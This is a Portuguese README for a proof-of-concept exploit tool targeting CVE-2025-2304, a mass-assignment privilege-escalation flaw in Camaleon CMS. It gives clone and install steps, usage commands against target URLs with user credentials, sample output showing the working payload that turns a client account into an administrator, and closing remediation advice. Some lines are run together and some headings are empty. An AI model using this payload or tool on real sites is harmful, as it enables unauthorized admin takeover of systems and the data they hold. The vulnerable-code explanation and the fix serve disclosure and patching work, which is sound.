
Prova de conceito para CVE-2025-2304 — crítica (CVSS 9.4) escalada de privilégios mass-assignment no Camaleon CMS.
Uma Prova de Conceito (PoC) para CVE-2025-2304, uma vulnerabilidade crítica de atribuição em massa no Camaleon CMS que permite a escalação de privilégios de utilizadores com baixos privilégios para administradores.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 é uma vulnerabilidade crítica de atribuição em massa no Camaleon CMS que existe no método updated_ajax do UsersController. A vulnerabilidade decorre do uso do perigoso método permit! no Rails, que permite que todos os parâmetros passem sem qualquer filtragem.
Este PoC demonstra como um utilizador autenticado com privilégios baixos pode escalar para administrador ao injetar parâmetros não autorizados durante operações de alteração de senha.
Pontuação CVSS: 9.4 (Crítico)
O código vulnerável usa params.require(:user).permit! que aceita todos os parâmetros fornecidos pelo utilizador sem validação:
def updated_ajax
user_params = params.require(:user).permit! # DANGEROUS!
current_user.update(user_params)
end
Um atacante pode injetar parâmetros adicionais como user[role]=admin juntamente com campos legítimos de alteração de senha, fazendo com que a aplicação atualize a função do utilizador para administrador.
Vetor de Ataque:
/admin/users/{id}/updated_ajaxuser[role]=admin--no-password-field para teste mais segurogit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
Ou instalar manualmente:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
argumentos posicionais:
target URL alvo (ex.: http://target.com)
argumentos obrigatórios:
-u, --username Nome de utilizador existente para autenticação
-p, --password Senha do utilizador
argumentos opcionais:
-h, --help Mostrar mensagem de ajuda e sair
-v, --verbose Saída detalhada (mostrar todos os pedidos)
--proxy PROXY Proxy HTTP para inspeção de tráfego (ex.: http://127.0.0.1:8080)
--no-password-field Testar exploração sem campos de senha (mais seguro)
--skip-admin-test Pular teste destrutivo de redefinição de senha de admin
Testar com credenciais de utilizador existentes, preservando a senha:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
Testar sem incluir campos de senha no payload de exploração:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Roteie o tráfego pelo Burp Suite para inspeção manual:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
Ative a saída detalhada mostrando todos os pedidos e respostas:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
Teste apenas a escalação de privilégios, pule a redefinição de senha do admin:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| Versão | Status |
|---|---|
| < 2.9.1 | ❌ Vulnerável |
| ≥ 2.9.1 | ✅ Corrigido |
Especificamente vulneráveis:
Atualizar para a versão 2.9.1 ou superior
gem update camaleon_cms
Auditar Contas de Utilizador
/users/*/updated_ajaxForçar Redefinição de Senhas (se comprometido)
Padrão de Código Seguro:
Substituir o perigoso permit! por uma lista de permissões explícita:
# Antes (VULNERÁVEL)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# Depois (SEGURO)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
Medidas de Segurança Adicionais:
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizados.
Aviso Legal:
Uso Ético:
d3vn0mi
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
Contribuições, problemas e pedidos de funcionalidades são bem-vindos!
Sinta-se à vontade para verificar a página de issues.
Dê uma ⭐️ se este projeto te ajudou!
Nota: Este repositório é para fins de pesquisa de segurança e educacionais. Sempre pratique divulgação responsável e obtenha autorização adequada antes de testar.